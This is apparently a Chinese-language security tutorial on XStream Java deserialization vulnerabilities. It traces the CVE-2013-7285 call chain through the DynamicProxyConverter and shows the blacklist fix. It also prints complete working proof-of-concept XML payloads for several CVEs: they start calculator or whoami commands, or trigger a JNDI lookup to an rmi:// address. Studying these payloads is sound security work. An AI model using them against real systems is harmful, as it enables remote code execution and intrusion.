XStream反序列化
XStream基础
XStream简介
XStream 是一个 Java 库,用于简化 Java 对象与 XML 之间的相互转换(序列化与反序列化)。它允许开发人员将 Java 对象直接转换为 XML 格式,或从 XML 恢复为原始对象,无需编写复杂的解析代码。
XStreamDemo
这里我们来看如何使用XStream进行序列化和反序列化操作
序列化
首先定义接口
1 2 3 public interface IPerson { void output () ; }
然后定义Person类实现前面的接口
1 2 3 4 5 6 7 8 public class Person implements IPerson { String name; int age; public void output () { System.out.print("Hello, this is " + this .name + ", age " + this .age); } }
XStream序列化使用XStream.toXML()
来实现类到XML的转化
1 2 3 4 5 6 7 8 9 10 11 12 import com.thoughtworks.xstream.XStream;public class Serialize { public static void main (String[] args) { Person person = new Person (); person.name = "Sean" ; person.age =18 ; String xml = new XStream ().toXML(person); System.out.println(xml); } }
序列化后的XML数据如下
1 2 3 4 <Person > <name > Sean</name > <age > 18</age > </Person >
反序列化
同样的定义接口和类,XStream反序列化是通过XStream.fromXML()
实现的,其中获取XML文件内容的方式可以通过Scanner
或者FileInputStream
均可
1 2 3 4 5 6 7 8 9 10 11 12 13 import com.thoughtworks.xstream.XStream;import com.thoughtworks.xstream.io.xml.DomDriver;import java.io.FileInputStream;public class Deserialize { public static void main (String[] args) throws Exception{ FileInputStream fileInputStream = new FileInputStream ("demo.xml" ); Person person = (Person) new XStream (new DomDriver ()).fromXML(fileInputStream); person.output(); } }
运行结果如下
前置知识
XStream总体由五个部分组成,其类图如下:
EventHandler类
EventHandler
类是实现了InvocationHandler
的一个类 ,设置的本意是为交互工具提供beans,建立从用户界面到应用程序逻辑的连接
EventHandler
类定义的代码如下,其含有target和action属性,在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()
的函数调用链中,会将前面两个属性作为类方法和参数继续反射调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public class EventHandler implements InvocationHandler { private Object target; private String action; ... public Object invoke (final Object proxy, final Method method, final Object[] arguments) { ... return invokeInternal(proxy, method, arguments); ... } private Object invokeInternal (Object proxy, Method method, Object[] arguments) { ... Method targetMethod = Statement.getMethod( target.getClass(), action, argTypes); ... return MethodUtil.invoke(targetMethod, target, newArgs); } ... } ... }
Converter转换器
XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。转换器的职责是提供一种策略,用于将对象图中找到的特定类型的对象转换为XML或将XML转换为对象。
简单地说,就是输入XML后它能识别其中的标签字段并转换为相应的对象,反之亦然。
转换器需要实现3个方法:
canConvert方法:告诉XStream对象,它能够转换的对象;
marshal方法:能够将对象转换为XML时候的具体操作;
unmarshal方法:能够将XML转换为对象时的具体操作;
具体参考:http://x-stream.github.io/converters.html
DynamicProxyConverter 动态代理转换器
DynamicProxyConverter
即动态代理转换器,是 XStream 支持的一种转换器,其存在使得 XStream 能够把 XML 内容反序列化转换为动态代理类对象:
XStream 反序列化漏洞的 PoC 都是以 DynamicProxyConverter 这个转换器为基础来编写的。以官方给的例子为例:
1 2 3 4 5 6 7 <dynamic-proxy > <interface > com.foo.Blah</interface > <interface > com.foo.Woo</interface > <handler class ="com.foo.MyHandler" > <something > blah</something > </handler > </dynamic-proxy >
dynamic-proxy
标签在 XStream 反序列化之后会得到一个动态代理类对象,当访问了该对象的com.foo.Blah
或 com.foo.Woo
这两个接口类中声明的方法时(即 interface 标签内指定的接口类),就会调用 handler 标签中的类方法 com.foo.MyHandler
漏洞复现与分析
漏洞原理
XStream 反序列化漏洞的存在是因为 XStream 支持一个名为 DynamicProxyConverter
的转换器,该转换器可以将 XML 中 dynamic-proxy
标签内容转换成动态代理类对象,而当程序调用了 dynamic-proxy
标签内的 interface
标签指向的接口类声明的方法时,就会通过动态代理机制代理访问 dynamic-proxy
标签内 handler
标签指定的类方法。
利用这个机制,攻击者可以构造恶意的XML内容,即 dynamic-proxy
标签内的 handler
标签指向如 EventHandler
类这种可实现任意函数反射调用的恶意类、interface
标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意 XML 内容后即可触发反序列化漏洞、达到任意代码执行的目的。
CVE-2013-7285
漏洞复现
sorted-set
类型的Poc如下,该Poc影响版本为:
1.3.1<XStream<1.4
1.4.5<=XStream<=1.4.6
1.4.10
1 2 3 4 5 6 7 8 9 10 11 12 13 <sorted-set > <dynamic-proxy > <interface > java.lang.Comparable</interface > <handler class ="java.beans.EventHandler" > <target class ="java.lang.ProcessBuilder" > <command > <string > Calc</string > </command > </target > <action > start</action > </handler > </dynamic-proxy > </sorted-set >
tree-map
类型的Poc如下,该Poc影响版本为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <tree-map > <entry > <dynamic-proxy > <interface > java.lang.Comparable</interface > <handler class ="java.beans.EventHandler" > <target class ="java.lang.ProcessBuilder" > <command > <string > open</string > <string > -na</string > <string > Calculator</string > </command > </target > <action > start</action > </handler > </dynamic-proxy > <string > good</string > </entry > </tree-map >
使用以下代码来模拟漏洞环境
1 2 3 4 5 6 7 8 9 10 11 12 13 import com.thoughtworks.xstream.XStream;import com.thoughtworks.xstream.io.xml.DomDriver;import java.io.FileInputStream;public class CVE_2013_7285 { public static void main (String[] args) throws Exception{ FileInputStream fileInputStream = new FileInputStream ("demo.xml" ); XStream xStream = new XStream (new DomDriver ()); xStream.fromXML(fileInputStream); } }
成功触发
漏洞分析
现在我们对解析流程进行追踪,在`AbstractTreeMarshallingStrategy`的`unmarshal`方法中调用了`TreeUnmarshaller`的`start`方法,即开始解析XML内容
在TreeUnmarshaller#start
中,可以看到调用了HierarchicalStreams.readClassType()
方法,该方法的作用是获取到XML中根标签的标签类型
在readClassType
方法中会进行递归遍历,直到找到根标签的标签类型
接着会调用convertAnother
函数,对java.util.SortedSet
类型进行转换,跟进该函数,调用mapper.defaultImplementationOf()
函数来寻找java.util.SortedSet
类型的默认实现类型进行替换,这里转换成了java.util.TreeSet
类型
接着调用converterLookup.lookupConverterForType()
来寻找TreeSet对应类型的转换器,通过迭代this.converters
,直到找出能转换TreeSet类型的Converter
接着往下调试,在AbstractReferenceUnmarshaller.convert()
函数中看到,会调用getCurrentReferenceKey
来获取当前的Reference键即标签名,接着将当前标签名压入parenStack
栈中
然后走入其父类的convert
函数中,继续走进DynamicProxyConverter
的unmarshal
中,这里会按标签的内容生成对应接口的动态代理,此时这里的DUMMY是一个空代理的实现
回到DynamicProxyConverter
的unmarshal
方法,里面调用了
treeMapConverter.unmarshalComparator
方法,这个方法获取到了第二个 XML 节点元素,这个方法当时漏看了,这个方法还是比较重要的,它获取到了 xml 根元素的子元素。
下面的 reader.movedown
方法用来获取子元素,并把子元素添加到当前 context 的 pathTracker中
跟进之后就变得一目了然了,其中判断 reader 是否还有子元素
继续往下执行handler = (InvocationHandler)context.convertAnother(proxy, handlerType);
,接下来转换器转换最终得到EventHandler
然后进行代理的替换
往下调试,在 TreeSetConverter.unmarshal()
方法中调用了 this.treeMapConverter.populateTreeMap()
,从这个方法开始,XStream 开始处理了 XML 里面其他的节点元素。跟进该函数,先判断是否是第一个元素,是的话就调用 putCurrentEntryIntoMap()
函数,即将当前内容缓存到 Map 中:
跟进去,发现调用 readItem
方法读取标签内的内容并缓存到当前 Map 中
走到readItem
方法中,发现他又调用了readClassType
和convertAnother
方法,比较像递归调用的意思。而这里的元素已经成了第二个元素<dynamic-proxy>
通过查看 mapper 可以知道,目前保存在 mapper 当中的还是两个元素,而 XStream 的处理,则会处理最新的一个(最里层的一个)
经过处理之后返回的 type 就为最新的一个子元素的类型,这里是 com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy
,找到对应的转换器为 DynamicProxyConverter
首先判断当前元素是否还有子元素,如果存在子元素,则进行后续的判断
根据编写的xml,获取的子元素为<interface>
,经过判断if (elementName.equals("interface"))
,获取当前<interface>
的元素,再将其转换类型
如果仍然存在子元素,再获取完<interface>
后,会进行下一次的遍历,我们xml中下一个子元素为<handler>
,则获取标签所的对应类,并跳出迭代
继续向下调试,会调用Proxy.newProxyInstance
方法,这是动态代理中实例化代理类的过程。接着调用了context.convertAnother
方法。
对应转换器为AbstractReflectionConverter
,这里先会调用instantiateNewInstance
方法实例化一个EventHandler
类
继续向下跟进doUnmarshal
方法,这里有是内部递归,在这里也看到了hasChildren
方法。从 xml 中也 可以看到 <handler>
节点之下还有很多子节点
剩下的都是类似的流程了
将所有节点过完以后,最终会走到treeMapConverter.populateTreeMap
,跟进到put.All()
方法,里面的变量为 sortedMap
,查看一下它的值可以发现这是一串链式存储的数据。
在大多数的put
方法中,都会调用其compare
方法,因此后面会走到EventHandler#invoke
方法中,进行反射调用导致命令执行
最终是调用到EventHandler#invoke
方法,调用栈如下
1 2 3 4 5 6 7 invoke:428 , EventHandler (java.beans) compareTo:-1 , $Proxy0 (com.sun.proxy) compare:1294 , TreeMap (java.util) put:538 , TreeMap (java.util) putAll:281 , AbstractMap (java.util) putAll:327 , TreeMap (java.util) populateTreeMap:122 , TreeMapConverter (com.thoughtworks.xstream.converters.collections)
漏洞修复
根据官方的修复手段,这里其实增加了黑名单
1 2 3 4 5 6 7 8 9 10 11 12 13 xstream.registerConverter(new Converter () { public boolean canConvert (Class type) { return type != null && (type == java.beans.EventHandler || type == java.lang.ProcessBuilder || Proxy.isProxy(type)); } public Object unmarshal (HierarchicalStreamReader reader, UnmarshallingContext context) { throw new ConversionException ("Unsupported type due to security reasons." ); } public void marshal (Object source, HierarchicalStreamWriter writer, MarshallingContext context) { throw new ConversionException ("Unsupported type due to security reasons." ); } }, XStream.PRIORITY_LOW);
CVE-2021-21344
超长Payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 <java.util.PriorityQueue serialization ='custom' > <unserializable-parents /> <java.util.PriorityQueue > <default > <size > 2</size > <comparator class ='sun.awt.datatransfer.DataTransferer$IndexOrderComparator' > <indexMap class ='com.sun.xml.internal.ws.client.ResponseContext' > <packet > <message class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart' > <dataSource class ='com.sun.xml.internal.ws.message.JAXBAttachment' > <bridge class ='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper' > <bridge class ='com.sun.xml.internal.bind.v2.runtime.BridgeImpl' > <bi class ='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl' > <jaxbType > com.sun.rowset.JdbcRowSetImpl</jaxbType > <uriProperties /> <attributeProperties /> <inheritedAttWildcard class ='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection' > <getter > <class > com.sun.rowset.JdbcRowSetImpl</class > <name > getDatabaseMetaData</name > <parameter-types /> </getter > </inheritedAttWildcard > </bi > <tagName /> <context > <marshallerPool class ='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1' > <outer-class reference ='../..' /> </marshallerPool > <nameList > <nsUriCannotBeDefaulted > <boolean > true</boolean > </nsUriCannotBeDefaulted > <namespaceURIs > <string > 1</string > </namespaceURIs > <localNames > <string > UTF-8</string > </localNames > </nameList > </context > </bridge > </bridge > <jaxbObject class ='com.sun.rowset.JdbcRowSetImpl' serialization ='custom' > <javax.sql.rowset.BaseRowSet > <default > <concurrency > 1008</concurrency > <escapeProcessing > true</escapeProcessing > <fetchDir > 1000</fetchDir > <fetchSize > 0</fetchSize > <isolation > 2</isolation > <maxFieldSize > 0</maxFieldSize > <maxRows > 0</maxRows > <queryTimeout > 0</queryTimeout > <readOnly > true</readOnly > <rowSetType > 1004</rowSetType > <showDeleted > false</showDeleted > <dataSource > rmi://localhost:15000/CallRemoteMethod</dataSource > <params /> </default > </javax.sql.rowset.BaseRowSet > <com.sun.rowset.JdbcRowSetImpl > <default > <iMatchColumns > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > <int > -1</int > </iMatchColumns > <strMatchColumns > <string > foo</string > <null /> <null /> <null /> <null /> <null /> <null /> <null /> <null /> <null /> </strMatchColumns > </default > </com.sun.rowset.JdbcRowSetImpl > </jaxbObject > </dataSource > </message > <satellites /> <invocationProperties /> </packet > </indexMap > </comparator > </default > <int > 3</int > <string > javax.xml.ws.binding.attachments.inbound</string > <string > javax.xml.ws.binding.attachments.inbound</string > </java.util.PriorityQueue > </java.util.PriorityQueue >
CVE-2021-21351
Poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <sorted-set > <javax.naming.ldap.Rdn_-RdnEntry > <type > ysomap</type > <value class ='com.sun.org.apache.xpath.internal.objects.XRTreeFrag' > <m__DTMXRTreeFrag > <m__dtm class ='com.sun.org.apache.xml.internal.dtm.ref.sax2dtm.SAX2DTM' > <m__size > -10086</m__size > <m__mgrDefault > <__overrideDefaultParser > false</__overrideDefaultParser > <m__incremental > false</m__incremental > <m__source__location > false</m__source__location > <m__dtms > <null /> </m__dtms > <m__defaultHandler /> </m__mgrDefault > <m__shouldStripWS > false</m__shouldStripWS > <m__indexing > false</m__indexing > <m__incrementalSAXSource class ='com.sun.org.apache.xml.internal.dtm.ref.IncrementalSAXSource_Xerces' > <fPullParserConfig class ='com.sun.rowset.JdbcRowSetImpl' serialization ='custom' > <javax.sql.rowset.BaseRowSet > <default > <concurrency > 1008</concurrency > <escapeProcessing > true</escapeProcessing > <fetchDir > 1000</fetchDir > <fetchSize > 0</fetchSize > <isolation > 2</isolation > <maxFieldSize > 0</maxFieldSize > <maxRows > 0</maxRows > <queryTimeout > 0</queryTimeout > <readOnly > true</readOnly > <rowSetType > 1004</rowSetType > <showDeleted > false</showDeleted > <dataSource > rmi://localhost:15000/CallRemoteMethod</dataSource > <listeners /> <params /> </default > </javax.sql.rowset.BaseRowSet > <com.sun.rowset.JdbcRowSetImpl > <default /> </com.sun.rowset.JdbcRowSetImpl > </fPullParserConfig > <fConfigSetInput > <class > com.sun.rowset.JdbcRowSetImpl</class > <name > setAutoCommit</name > <parameter-types > <class > boolean</class > </parameter-types > </fConfigSetInput > <fConfigParse reference ='../fConfigSetInput' /> <fParseInProgress > false</fParseInProgress > </m__incrementalSAXSource > <m__walker > <nextIsRaw > false</nextIsRaw > </m__walker > <m__endDocumentOccured > false</m__endDocumentOccured > <m__idAttributes /> <m__textPendingStart > -1</m__textPendingStart > <m__useSourceLocationProperty > false</m__useSourceLocationProperty > <m__pastFirstElement > false</m__pastFirstElement > </m__dtm > <m__dtmIdentity > 1</m__dtmIdentity > </m__DTMXRTreeFrag > <m__dtmRoot > 1</m__dtmRoot > <m__allowRelease > false</m__allowRelease > </value > </javax.naming.ldap.Rdn_-RdnEntry > <javax.naming.ldap.Rdn_-RdnEntry > <type > ysomap</type > <value class ='com.sun.org.apache.xpath.internal.objects.XString' > <m__obj class ='string' > test</m__obj > </value > </javax.naming.ldap.Rdn_-RdnEntry > </sorted-set >
CVE-2020-26217
漏洞Poc如下,这里通过一个黑名单之外的gadget,可以成功绕过之前的补丁造成远程命令执行。包括1.4.13在内的所有版本都会受到漏洞的影响。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 <map > <entry > <jdk.nashorn.internal.objects.NativeString > <flags > 0</flags > <value class ='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data' > <dataHandler > <dataSource class ='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource' > <contentType > text/plain</contentType > <is class ='java.io.SequenceInputStream' > <e class ='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator' > <iterator class ='javax.imageio.spi.FilterIterator' > <iter class ='java.util.ArrayList$Itr' > <cursor > 0</cursor > <lastRet > -1</lastRet > <expectedModCount > 1</expectedModCount > <outer-class > <java.lang.ProcessBuilder > <command > <string > calc</string > </command > </java.lang.ProcessBuilder > </outer-class > </iter > <filter class ='javax.imageio.ImageIO$ContainsFilter' > <method > <class > java.lang.ProcessBuilder</class > <name > start</name > <parameter-types /> </method > <name > start</name > </filter > <next /> </iterator > <type > KEYS</type > </e > <in class ='java.io.ByteArrayInputStream' > <buf > </buf > <pos > 0</pos > <mark > 0</mark > <count > 0</count > </in > </is > <consumed > false</consumed > </dataSource > <transferFlavors /> </dataHandler > <dataLen > 0</dataLen > </value > </jdk.nashorn.internal.objects.NativeString > <string > test</string > </entry > </map >
CVE-2021-39144
这条链是纯原生反序列化利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 <java.util.PriorityQueue serialization ='custom' > <unserializable-parents /> <java.util.PriorityQueue > <default > <size > 2</size > </default > <int > 3</int > <dynamic-proxy > <interface > java.lang.Comparable</interface > <handler class ='sun.tracing.NullProvider' > <active > true</active > <providerType > java.lang.Comparable</providerType > <probes > <entry > <method > <class > java.lang.Comparable</class > <name > compareTo</name > <parameter-types > <class > java.lang.Object</class > </parameter-types > </method > <sun.tracing.dtrace.DTraceProbe > <proxy class ='java.lang.Runtime' /> <implementing__method > <class > java.lang.Runtime</class > <name > exec</name > <parameter-types > <class > java.lang.String</class > </parameter-types > </implementing__method > </sun.tracing.dtrace.DTraceProbe > </entry > </probes > </handler > </dynamic-proxy > <string > whoami</string > </java.util.PriorityQueue > </java.util.PriorityQueue >